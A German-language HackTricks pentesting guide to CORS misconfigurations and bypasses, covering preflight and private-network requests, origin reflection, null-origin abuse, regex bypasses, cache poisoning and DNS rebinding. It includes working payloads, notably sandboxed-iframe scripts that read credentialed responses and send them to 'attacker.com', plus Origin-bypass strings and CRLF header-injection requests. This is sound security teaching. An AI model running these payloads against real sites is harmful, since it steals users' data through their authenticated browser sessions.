CORS - Misconfigurations & Bypass

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Durchsuche den vollständigen HackTricks Training-Katalog nach den Assessment-Tracks (ARTA/GRTA/AzRTA) und Linux Hacking Expert (LHE).

Support HackTricks

Was ist CORS?

Der Cross-Origin Resource Sharing (CORS)-Standard ermöglicht es Servern zu definieren, wer auf ihre Assets zugreifen kann und welche HTTP-Request-Methoden von externen Quellen erlaubt sind.

Eine same-origin-Policy schreibt vor, dass ein Server, der eine Ressource anfordert, und der Server, der die Ressource hostet, dasselbe Protokoll (z. B. http://), denselben Domain-Namen (z. B. internal-web.com) und denselben Port (z. B. 80) verwenden. Nach dieser Policy haben nur Webseiten derselben Domain und desselben Ports Zugriff auf die Ressourcen.

Die Anwendung der same-origin-Policy im Kontext von http://normal-website.com/example/example.html ist wie folgt dargestellt:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer ignoriert die Portnummer bei der Durchsetzung der same-origin-Policy und erlaubt daher diesen Zugriff.

Access-Control-Allow-Origin Header

Dieser Header kann mehrere Origins, einen null-Wert oder ein Wildcard * erlauben. Allerdings unterstützt kein Browser mehrere Origins, und die Verwendung des Wildcards * unterliegt Einschränkungen. (Das Wildcard muss allein verwendet werden, und die gemeinsame Verwendung mit Access-Control-Allow-Credentials: true ist nicht erlaubt.)

Dieser Header wird von einem Server ausgegeben als Antwort auf eine Cross-Domain-Resource-Request, die von einer Website ausgelöst wurde, wobei der Browser automatisch einen Origin-Header hinzufügt.

Access-Control-Allow-Credentials Header

Standardmäßig werden Cross-Origin-Requests ohne Credentials wie Cookies oder den Authorization-Header gesendet. Ein Cross-Domain-Server kann jedoch das Lesen der Antwort erlauben, wenn Credentials gesendet werden, indem er den Access-Control-Allow-Credentials-Header auf true setzt.

Wenn auf true gesetzt, überträgt der Browser Credentials (Cookies, Authorization-Header oder TLS-Client-Zertifikate).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Understanding Pre-flight Requests in Cross-Domain Communication

When initiating a cross-domain request under specific conditions, such as using a non-standard HTTP method (anything other than HEAD, GET, POST), introducing new headers, or employing a special Content-Type header value, a pre-flight request may be required. This preliminary request, leveraging the OPTIONS method, serves to inform the server of the forthcoming cross-origin request’s intentions, including the HTTP methods and headers it intends to use.

Das Cross-Origin Resource Sharing (CORS)-Protokoll verlangt diesen Pre-flight-Check, um die Machbarkeit der angeforderten Cross-Origin-Operation zu bestimmen, indem die erlaubten Methoden, Header und die Vertrauenswürdigkeit des Origins überprüft werden. Für ein detailliertes Verständnis der Bedingungen, die den Bedarf an einem Pre-flight Request umgehen, siehe den umfassenden Leitfaden von Mozilla Developer Network (MDN).

Es ist wichtig zu beachten, dass das Fehlen eines Pre-flight Requests die Notwendigkeit für die Response, Authorization-Header zu tragen, nicht aufhebt. Ohne diese Header ist der Browser nicht in der Lage, die Response der Cross-Origin-Request zu verarbeiten.

Betrachte die folgende Illustration eines Pre-flight Requests, der darauf abzielt, die PUT-Methode zusammen mit einem benutzerdefinierten Header namens Special-Request-Header zu verwenden:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Als Antwort kann der Server Header zurückgeben, die die akzeptierten Methoden, den erlaubten Origin und andere CORS-Policy-Details angeben, wie unten gezeigt:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Dieser Header gibt an, welche Header während der eigentlichen Anfrage verwendet werden können. Er wird vom Server gesetzt, um die in Anfragen vom Client erlaubten Header anzugeben.
  • Access-Control-Expose-Headers: Über diesen Header informiert der Server den Client darüber, welche Header zusätzlich zu den einfachen Response-Headern als Teil der Antwort offengelegt werden können.
  • Access-Control-Max-Age: Dieser Header gibt an, wie lange die Ergebnisse einer pre-flight request zwischengespeichert werden können. Der Server legt die maximale Zeit in Sekunden fest, für die die von einer pre-flight request zurückgegebenen Informationen wiederverwendet werden dürfen.
  • Access-Control-Request-Headers: Wird in pre-flight requests verwendet; dieser Header wird vom Client gesetzt, um den Server darüber zu informieren, welche HTTP-Header der Client in der eigentlichen Anfrage verwenden möchte.
  • Access-Control-Request-Method: Dieser Header, ebenfalls in pre-flight requests verwendet, wird vom Client gesetzt, um anzugeben, welche HTTP-Methode in der eigentlichen Anfrage verwendet wird.
  • Origin: Dieser Header wird automatisch vom Browser gesetzt und gibt den origin der cross-origin request an. Er wird vom Server verwendet, um anhand der CORS policy zu beurteilen, ob die eingehende Anfrage erlaubt oder abgelehnt werden soll.

Beachte, dass normalerweise (abhängig vom content-type und den gesetzten Headern) bei einer GET/POST-Anfrage keine pre-flight request gesendet wird (die Anfrage wird direkt gesendet), aber wenn du auf die Header/den Body der Antwort zugreifen willst, muss sie einen Access-Control-Allow-Origin-Header enthalten, der dies erlaubt.
Daher schützt CORS nicht vor CSRF (aber es kann hilfreich sein).

Local Network Requests Pre-flight request

Moderne Browser und der aktuelle Private Network Access (PNA)-Entwurf verwenden in der preflight die Header Access-Control-Request-Private-Network: true und in der Antwort Access-Control-Allow-Private-Network: true. Ältere Artikel und PoCs können sich weiterhin auf Local-Network-Headernamen beziehen, aber bei aktuellen Tests solltest du die Private-Network-Varianten erwarten.

Eine gültige Antwort, die die Local Network Request erlaubt, muss außerdem Access-Control-Allow-Private-Network: true enthalten:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

Und die preflight request wird ähnlich aussehen wie:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Chomes PNA-Rollout hat sich im Laufe von 2024 mehrfach geändert. Stand 9. Oktober 2024 dokumentierte Chrome, dass PNA preflights ausgesetzt waren, wegen Kompatibilitätsproblemen, während Secure-Context-Einschränkungen bestehen blieben. Deshalb solltest du weiterhin sowohl den spec-compliant preflight flow als auch das ältere “works in practice because enforcement is incomplete”-Verhalten testen.

Warning

Beachte, dass die Linux 0.0.0.0-IP funktioniert, um diese Anforderungen zu bypass, damit auf localhost zuzugreifen, da diese IP-Adresse nicht als “local” betrachtet wird.

Chrome dokumentierte außerdem, dass 0.0.0.0/8 jetzt als Teil von Private Network Access behandelt wird, daher ist dieser Trick browser-/versionsabhängig und sollte erneut getestet statt einfach angenommen werden.

Es ist auch möglich, die Local Network requirements zu bypass, wenn du die public IP address of a local endpoint verwendest (wie die public IP des Routers). Denn in mehreren Fällen wird, selbst wenn auf die public IP zugegriffen wird, der Zugriff gewährt, wenn es vom local network aus erfolgt.

Wildcards

Beachte, dass selbst wenn die folgende Konfiguration sehr permissive aussieht:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Dies ist von Browsern nicht erlaubt, und daher werden credentials nicht mit der Anfrage gesendet, wie es hier erlaubt wäre.

Ausnutzbare Fehlkonfigurationen

Es wurde beobachtet, dass die Einstellung von Access-Control-Allow-Credentials auf true eine Voraussetzung für die meisten real attacks ist. Diese Einstellung erlaubt es dem Browser, credentials zu senden und die Antwort zu lesen, was die Wirksamkeit des Angriffs erhöht. Ohne dies verringert sich der Vorteil, wenn ein Browser eine Anfrage ausführt, gegenüber dem direkten Ausführen, da die Nutzung der Cookies eines Benutzers nicht praktikabel ist.

Ausnahme: Exploiting der Netzwerkposition als Authentifizierung

Es gibt eine Ausnahme, bei der der Netzwerkstandort des Opfers als eine Form der Authentifizierung dient. Dadurch kann der Browser des Opfers als Proxy verwendet werden, um IP-basierte Authentifizierung zu umgehen und auf Intranet-Anwendungen zuzugreifen. Diese Methode ähnelt in ihrer Wirkung DNS rebinding, ist aber einfacher auszunutzen.

Reflection von Origin in Access-Control-Allow-Origin

Das reale Szenario, in dem der Wert des Origin-Headers in Access-Control-Allow-Origin gespiegelt wird, ist theoretisch unwahrscheinlich, da es Einschränkungen beim Kombinieren dieser Header gibt. Entwickler, die CORS für mehrere URLs aktivieren möchten, können den Access-Control-Allow-Origin-Header jedoch dynamisch erzeugen, indem sie den Wert des Origin-Headers kopieren. Dieser Ansatz kann Schwachstellen einführen, insbesondere wenn ein Angreifer eine Domain mit einem Namen verwendet, der legitim erscheinen soll, und dadurch die Validierungslogik täuscht.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Ausnutzen des null-Origins

Der null-Origin, der für Situationen wie Redirects oder lokale HTML-Dateien festgelegt wird, nimmt eine besondere Stellung ein. Einige Anwendungen whitelisten diesen Origin, um lokale Entwicklung zu erleichtern, wodurch unbeabsichtigt jede Website einen null-Origin über ein sandboxed iframe nachahmen kann und so CORS-Restriktionen umgeht.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

Wenn du auf eine Domain-Whitelist stößt, ist es entscheidend, nach Bypass-Möglichkeiten zu suchen, wie etwa das Anhängen der Domain des Angreifers an eine whitelisted Domain oder das Ausnutzen von subdomain takeover vulnerabilities. Zusätzlich können regular expressions, die für die Domain-Validierung verwendet werden, Nuancen in Domain-Namenskonventionen übersehen und dadurch weitere Bypass-Möglichkeiten bieten.

Advanced Regular Expression Bypasses

Regex-Muster konzentrieren sich typischerweise auf alphanumerische Zeichen, Punkt (.) und Bindestrich (-), und vernachlässigen andere Möglichkeiten. Zum Beispiel kann ein so gestalteter Domain-Name, der Zeichen enthält, die von Browsern und Regex-Mustern unterschiedlich interpretiert werden, Security Checks umgehen. Das Verhalten von Safari, Chrome und Firefox bei Unterstrich-Zeichen in Subdomains zeigt, wie solche Unterschiede ausgenutzt werden können, um domain validation logic zu umgehen.

Für weitere Informationen und Einstellungen dieses bypass check: https://www.corben.io/advanced-cors-techniques/ und https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

Von XSS innerhalb einer Subdomain

Developer implementieren oft defensive mechanisms, um sich gegen CORS exploitation zu schützen, indem sie Domains whitelisten, die Informationen anfordern dürfen. Trotz dieser Vorsichtsmaßnahmen ist die Sicherheit des Systems nicht unfehlbar. Das Vorhandensein auch nur einer einzigen verwundbaren Subdomain innerhalb der whitelisted Domains kann durch andere vulnerabilities, wie XSS (Cross-Site Scripting), die Tür für CORS exploitation öffnen.

Zur Veranschaulichung betrachte das Szenario, in dem eine Domain, requester.com, whitelisted ist, um auf Ressourcen einer anderen Domain, provider.com, zuzugreifen. Die serverseitige Konfiguration könnte etwa so aussehen:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

In diesem Setup sind alle Subdomains von requester.com erlaubt. Wenn jedoch eine Subdomain, zum Beispiel sub.requester.com, durch eine XSS-Schwachstelle kompromittiert ist, kann ein Angreifer diese Schwäche ausnutzen. Ein Angreifer mit Zugriff auf sub.requester.com könnte beispielsweise die XSS-Schwachstelle ausnutzen, um CORS policies zu umgehen und böswillig auf Ressourcen auf provider.com zuzugreifen.

Special Characters

PortSwigger’s URL validation bypass cheat sheet hat festgestellt, dass einige Browser ungewöhnliche Zeichen innerhalb von Domainnamen unterstützen.

Chrome und Firefox unterstützen Unterstriche _, die regexes umgehen können, die zur Validierung des Origin-Headers implementiert wurden:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari ist sogar noch lockerer beim Akzeptieren von Sonderzeichen im Domainnamen:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Die neuesten Aktualisierungen von PortSwiggers Cheat Sheet haben weitere Safari-orientierte Domain-Splitting-Payloads hinzugefügt, die es wert sind, beim Fuzzing berücksichtigt zu werden, wenn das Ziel den Origin-Header mit Regexes oder selbst entwickelten URL-Parsers validiert:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

Diese sind nützlich, wenn das Backend nur prüft, ob der angegebene Origin mit dem vertrauenswürdigen Hostnamen beginnt oder ihn enthält, während der Browser den vom Angreifer kontrollierten Suffix immer noch als effektive Origin-Grenze behandelt.

Denk auch daran, dass modernes origin fuzzing nicht bei Hostname-Suffixen aufhören sollte. Das aktuelle PortSwigger-Cheat-Sheet enthält Payload-Familien für:

  • Domain allow-list bypasses: vom Angreifer kontrollierte Domains, die trotzdem naive Präfix-/Suffix-/Substring-Prüfungen bestehen.
  • Fake-relative absolute URLs: browser-gültige absolute URLs, die Anwendungs-Code möglicherweise als relativ parst.
  • Loopback/IP normalizations: alternative IPv4/IPv6-Formen, nützlich wenn CORS-Logik versucht, localhost, 127.0.0.1 oder Cloud-Metadata-Endpunkte per Stringvergleich zu blockieren.

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

Es ist möglich, dass durch Ausnutzung von server-side cache poisoning via HTTP header injection eine gespeicherte Cross-Site Scripting (XSS)-Schwachstelle ausgelöst werden kann. Dieses Szenario entsteht, wenn eine Anwendung den Origin-Header nicht für unzulässige Zeichen bereinigt, was besonders für Nutzer von Internet Explorer und Edge eine Schwachstelle darstellt. Diese Browser behandeln (0x0d) als legitimen HTTP-Header-Terminator, was zu HTTP header injection vulnerabilities führt.

Betrachte die folgende Anfrage, in der der Origin-Header manipuliert wird:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer und Edge interpretieren die Response als:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Während das direkte Ausnutzen dieser Schwachstelle durch einen Webbrowser, der einen fehlerhaften Header sendet, nicht praktikabel ist, kann eine manipulierte Request manuell mit Tools wie Burp Suite erzeugt werden. Diese Methode könnte dazu führen, dass ein serverseitiger Cache die Response speichert und sie unbeabsichtigt an andere ausliefert. Das manipulierte Payload zielt darauf ab, den Zeichensatz der Seite auf UTF-7 zu ändern, eine Zeichencodierung, die oft mit XSS-Schwachstellen in Verbindung gebracht wird, da sie Zeichen so codieren kann, dass sie in bestimmten Kontexten als Script ausgeführt werden.

Für weiterführende Informationen zu stored XSS vulnerabilities, siehe PortSwigger.

Hinweis: Die Ausnutzung von HTTP header injection vulnerabilities, insbesondere durch serverseitiges cache poisoning, unterstreicht die entscheidende Bedeutung der Validierung und Bereinigung aller vom Benutzer stammenden Eingaben, einschließlich HTTP-Headern. Verwenden Sie stets ein robustes Sicherheitsmodell, das Input-Validierung umfasst, um solche Schwachstellen zu verhindern.

Client-Side cache poisoning

Aus dieser Forschung

In diesem Szenario wird eine Instanz einer Webseite beobachtet, die den Inhalt eines benutzerdefinierten HTTP-Headers ohne korrekte Kodierung reflektiert. Konkret gibt die Webseite den Inhalt eines X-User-id-Headers zurück, der bösartiges JavaScript enthalten könnte, wie in dem Beispiel gezeigt, in dem der Header ein SVG image tag enthält, das darauf ausgelegt ist, JavaScript-Code beim Laden auszuführen.

Cross-Origin Resource Sharing (CORS)-Policies erlauben das Senden benutzerdefinierter Header. Ohne dass die Response aufgrund von CORS-Einschränkungen direkt vom Browser gerendert wird, könnte der Nutzen einer solchen Injection begrenzt erscheinen. Der entscheidende Punkt ergibt sich jedoch, wenn das Cache-Verhalten des Browsers betrachtet wird. Wenn der Vary: Origin-Header nicht angegeben ist, kann die bösartige Response vom Browser zwischengespeichert werden. Anschließend könnte diese zwischengespeicherte Response beim Navigieren zur URL direkt gerendert werden, wodurch die Notwendigkeit eines direkten Renderings bei der ersten Request umgangen wird. Dieser Mechanismus erhöht die Zuverlässigkeit des Angriffs, indem clientseitiges Caching ausgenutzt wird.

Um diesen Angriff zu veranschaulichen, wird ein JavaScript-Beispiel bereitgestellt, das dafür ausgelegt ist, in der Umgebung einer Webseite ausgeführt zu werden, etwa über JSFiddle. Dieses Script führt eine einfache Aktion aus: Es sendet eine Request an eine angegebene URL mit einem benutzerdefinierten Header, der das bösartige JavaScript enthält. Nach erfolgreichem Abschluss der Request versucht es, zur Ziel-URL zu navigieren, wodurch möglicherweise die Ausführung des injizierten Scripts ausgelöst wird, wenn die Response ohne korrekte Behandlung des Vary: Origin-Headers zwischengespeichert wurde.

Hier ist eine zusammengefasste Aufschlüsselung des verwendeten JavaScript zum Ausführen dieses Angriffs:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, auch bekannt als Cross-Site Script Inclusion, ist eine Art von Vulnerability, die sich die Tatsache zunutze macht, dass die Same Origin Policy (SOP) nicht gilt, wenn Ressourcen über den script tag eingebunden werden. Das liegt daran, dass Scripts von verschiedenen Domains eingebunden werden können müssen. Diese Vulnerability ermöglicht es einem Angreifer, auf alle Inhalte zuzugreifen und sie zu lesen, die über den script tag eingebunden wurden.

Diese Vulnerability wird besonders relevant bei dynamischem JavaScript oder JSONP (JSON with Padding), insbesondere wenn Ambient-Authority-Informationen wie cookies für die Authentication verwendet werden. Wenn eine Ressource von einem anderen Host angefordert wird, werden die cookies mitgesendet und sind dadurch für den Angreifer zugänglich.

Um diese Vulnerability besser zu verstehen und zu mitigieren, kannst du das BurpSuite-Plugin verwenden, das unter https://github.com/kapytein/jsonp verfügbar ist. Dieses Plugin kann dabei helfen, potenzielle XSSI-Vulnerabilities in deinen Webanwendungen zu identifizieren und zu beheben.

Mehr über die verschiedenen Arten von XSSI und wie man sie ausnutzt, hier lesen.

Versuche, einen callback-parameter in die request hinzuzufügen. Vielleicht war die Seite darauf vorbereitet, die Daten als JSONP zu senden. In diesem Fall sendet die Seite die Daten mit Content-Type: application/javascript zurück, was die CORS policy umgeht.

Easy (useless?) bypass

Eine Möglichkeit, die Access-Control-Allow-Origin-Einschränkung zu umgehen, besteht darin, eine Webanwendung dazu zu bringen, in deinem Namen eine request auszuführen und die response zurückzusenden. In diesem Szenario werden jedoch die credentials des endgültigen Opfers nicht mitgesendet, da die request an eine andere Domain geht.

  1. CORS-escape: Dieses Tool stellt einen proxy bereit, der deine request zusammen mit ihren headers weiterleitet und dabei gleichzeitig den Origin header so fälscht, dass er zur angeforderten Domain passt. Dadurch wird die CORS policy effektiv umgangen. Hier ist ein Beispiel für die Verwendung mit XMLHttpRequest:
  2. simple-cors-escape: Dieses Tool bietet einen alternativen Ansatz zum Proxying von requests. Statt deine request unverändert weiterzugeben, stellt der server seine eigene request mit den angegebenen Parametern.

Iframe + Popup Bypass

Du kannst CORS checks umgehen wie e.origin === window.origin, indem du ein iframe erstellst und von dort aus ein neues window öffnest. Mehr Informationen auf der folgenden Seite:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL ist eine Technik, die verwendet wird, um bestimmte Sicherheitsmaßnahmen zu umgehen, indem DNS records manipuliert werden. So funktioniert es:

  1. Der Angreifer erstellt eine web page und lässt das Opfer sie aufrufen.
  2. Der Angreifer ändert dann die DNS (IP) seiner eigenen Domain, sodass sie auf die web page des Opfers zeigt.
  3. Der Browser des Opfers cached die DNS response, die einen TTL-Wert (Time to Live) enthalten kann, der angibt, wie lange der DNS record als gültig betrachtet werden soll.
  4. Wenn der TTL abläuft, sendet der Browser des Opfers eine neue DNS request, wodurch der Angreifer JavaScript-Code auf der Seite des Opfers ausführen kann.
  5. Durch die Kontrolle über die IP des Opfers kann der Angreifer Informationen vom Opfer sammeln, ohne Cookies an den victim server zu senden.

Es ist wichtig zu beachten, dass Browser Caching-Mechanismen haben, die den sofortigen Missbrauch dieser Technik verhindern können, selbst bei niedrigen TTL-Werten.

DNS rebinding kann nützlich sein, um explizite IP checks des Opfers zu umgehen oder in Szenarien, in denen ein Benutzer oder bot längere Zeit auf derselben Seite bleibt, sodass der Cache ablaufen kann.

Wenn du einen schnellen Weg brauchst, um DNS rebinding zu missbrauchen, kannst du Dienste wie https://lock.cmpxchg8b.com/rebinder.html verwenden.

Um deinen eigenen DNS rebinding server zu betreiben, kannst du Tools wie DNSrebinder (https://github.com/mogwailabs/DNSrebinder) nutzen. Dazu musst du deinen lokalen Port 53/udp exponieren, einen A record erstellen, der darauf zeigt (z. B. ns.example.com), und einen NS record erstellen, der auf die zuvor erstellte A-Subdomain zeigt (z. B. ns.example.com). Jede Subdomain der ns.example.com-Subdomain wird dann von deinem Host aufgelöst.

Du kannst auch einen öffentlich laufenden server unter http://rebind.it/singularity.html für weiteres Verständnis und Experimente ausprobieren.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding ist eine weitere Technik, um den Caching-Mechanismus von Browsern zu umgehen und eine zweite DNS request zu erzwingen. So funktioniert es:

  1. Zunächst, wenn das Opfer eine DNS request macht, wird mit der IP-Adresse des Angreifers geantwortet.
  2. Um die Caching-Abwehr zu umgehen, nutzt der Angreifer einen service worker. Der service worker flutet den DNS cache, wodurch der zwischengespeicherte server name des Angreifers effektiv gelöscht wird.
  3. Wenn der Browser des Opfers eine zweite DNS request macht, wird nun mit der IP-Adresse 127.0.0.1 geantwortet, die typischerweise auf localhost verweist.

Durch das Fluten des DNS cache mit dem service worker kann der Angreifer den DNS resolution process manipulieren und den Browser des Opfers zu einer zweiten request zwingen, die diesmal zur gewünschten IP-Adresse des Angreifers aufgelöst wird.

DNS Rebinding via Cache

Eine weitere Möglichkeit, die Caching-Abwehr zu umgehen, besteht darin, mehrere IP-Adressen für dieselbe Subdomain beim DNS provider zu verwenden. So funktioniert es:

  1. Der Angreifer richtet zwei A records ein (oder einen einzelnen A record mit zwei IPs) für dieselbe Subdomain beim DNS provider.
  2. Wenn ein Browser diese records prüft, erhält er beide IP-Adressen.
  3. Wenn der Browser sich entscheidet, zuerst die IP-Adresse des Angreifers zu verwenden, kann der Angreifer einen payload bereitstellen, der HTTP requests an dieselbe Domain ausführt.
  4. Sobald der Angreifer jedoch die IP-Adresse des Opfers erhält, antworten sie nicht mehr auf den Browser des Opfers.
  5. Der Browser des Opfers wechselt, nachdem er feststellt, dass die Domain nicht reagiert, zur zweiten angegebenen IP-Adresse.
  6. Durch den Zugriff auf die zweite IP-Adresse umgeht der Browser die Same Origin Policy (SOP), wodurch der Angreifer dies missbrauchen und Informationen sammeln und exfiltrieren kann.

Diese Technik nutzt das Verhalten von Browsern aus, wenn für eine Domain mehrere IP-Adressen angegeben werden. Durch strategische Kontrolle der responses und Manipulation der Wahl der IP-Adresse durch den Browser kann ein Angreifer die SOP ausnutzen und auf Informationen des Opfers zugreifen.

Warning

Beachte, dass du für den Zugriff auf localhost versuchen solltest, 127.0.0.1 in Windows und 0.0.0.0 in linux zu rebinden.
Provider wie godaddy oder cloudflare erlaubten mir nicht, die IP 0.0.0.0 zu verwenden, aber AWS route53 erlaubte mir, einen A record mit 2 IPs zu erstellen, wobei eine davon “0.0.0.0” war

Für mehr Informationen kannst du https://unit42.paloaltonetworks.com/dns-rebinding/ ansehen

Other Common Bypasses

  • Wenn internal IPs nicht erlaubt sind, haben sie vielleicht vergessen, 0.0.0.0 zu verbieten (funktioniert auf Linux und Mac)
  • Wenn internal IPs nicht erlaubt sind, antworte mit einem CNAME zu localhost (funktioniert auf Linux und Ma
  • Wenn internal IPs nicht erlaubt sind als DNS responses, kannst du CNAMEs zu internen services wie www.corporate.internal zurückgeben.

DNS Rebidding Weaponized

Du kannst mehr Informationen über die vorherigen bypass techniques und die Verwendung des folgenden Tools im Vortrag Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference finden.

Singularity of Origin ist ein Tool, um DNS rebinding-Attacks durchzuführen. Es enthält die nötigen Komponenten, um die IP-Adresse des attack server DNS name auf die IP-Adresse der target machine zu rebinden und attack payloads bereitzustellen, um vulnerable software auf der target machine auszunutzen.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH tunnelt einfach das klassische RFC1035 DNS wire format innerhalb von HTTPS (normalerweise ein POST mit Content-Type: application/dns-message). Der resolver antwortet weiterhin mit denselben resource records, daher funktionieren SOP-breaking-Techniken weiterhin, selbst wenn Browser den attacker-controlled hostname via TLS auflösen.

Key observations

  • Chrome (Windows/macOS) und Firefox (Linux) rebinden erfolgreich, wenn sie für Cloudflare-, Google- oder OpenDNS-DoH-resolvers konfiguriert sind. Transportverschlüsselung verzögert oder blockiert den attack-flow für first-then-second, multiple-answers oder DNS cache flooding-Strategien weder noch.
  • Public resolvers sehen weiterhin jede query, setzen aber selten das host-to-IP mapping durch, das ein Browser einhalten muss. Sobald der authoritative server die rebinding sequence zurückgibt, behält der Browser das ursprüngliche origin tuple bei, während er sich mit der neuen IP verbindet.

Singularity strategies and timing over DoH

  • First-then-second bleibt die zuverlässigste Option: Die erste lookup liefert die attacker IP, die den payload ausliefert, jede spätere lookup liefert die internal/localhost IP. Mit typischen browser DNS caches schaltet dies den traffic in ~40–60 Sekunden um, selbst wenn der recursive resolver nur über HTTPS erreichbar ist.
  • Multiple answers (fast rebinding) erreicht localhost weiterhin in <3 Sekunden, indem mit zwei A records geantwortet wird (attacker IP + 0.0.0.0 auf Linux/macOS oder 127.0.0.1 auf Windows) und die erste IP kurz nach dem Laden der Seite programmatisch blackholed wird (zum Beispiel iptables -I OUTPUT -d <attacker_ip> -j DROP). Die DoH-Implementierung von Firefox kann wiederholte DNS queries ausgeben, daher besteht der Singularity-Fix darin, die firewall rule relativ zum Zeitstempel der ersten query zu planen, statt den timer bei jeder query zu aktualisieren.

Beating “rebind protection” in DoH providers

  • Manche Provider (z. B. NextDNS) ersetzen private/loopback answers durch 0.0.0.0, aber Linux und macOS routen dieses Ziel problemlos zu lokalen services. Das absichtliche Zurückgeben von 0.0.0.0 als zweitem record verschiebt die origin daher weiterhin auf localhost.
  • Das Filtern nur der direkten A/AAAA response ist ineffektiv: Die Rückgabe eines CNAME zu einem nur intern vorhandenen hostname lässt den öffentlichen DoH resolver den alias weiterleiten, während Browser wie Firefox auf system DNS für die interne zone zurückfallen und die resolution zu einer private IP abschließen, die weiterhin als attacker origin behandelt wird.

Browser-specific DoH behavior

  • Firefox DoH arbeitet im fallback mode: Jeder DoH-Fehler (einschließlich eines nicht aufgelösten CNAME target) löst eine plaintext lookup über den OS resolver aus, der typischerweise ein Enterprise-DNS-server ist, der den internen namespace kennt. Dieses Verhalten macht den CNAME bypass innerhalb von corporate networks zuverlässig.
  • Chrome DoH aktiviert sich nur, wenn das OS DNS auf einen whitelisted DoH-capable recursive resolver zeigt (Cloudflare, Google, Quad9 usw.) und bietet nicht dieselbe fallback chain. Interne hostnames, die nur auf corporate DNS existieren, lassen sich daher nicht auflösen, aber rebinding zu localhost oder einer beliebigen routable address funktioniert weiterhin, da der Angreifer die gesamte response set kontrolliert.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS und den DoH endpoint angeben (Cloudflare und NextDNS sind integriert). Chrome/Chromium: chrome://flags/#dns-over-https aktivieren und die OS DNS servers auf einen von Chromes unterstützten resolvers konfigurieren (z. B. 1.1.1.1/1.0.0.1).
  • Du kannst Public-DoH-APIs direkt abfragen, z. B. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq, um die exakten records zu bestätigen, die Browser cachen werden.
  • DoH in Burp/ZAP abzufangen funktioniert weiterhin, weil es nur HTTPS ist (binäres DNS payload im body). Für Packet-level-Inspection exportiere TLS keys (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) bevor du den Browser startest, und lasse Wireshark die DoH-Sessions mit dem dns display filter entschlüsseln, um zu sehen, wann der Browser bei DoH bleibt oder auf klassisches DNS zurückfällt.

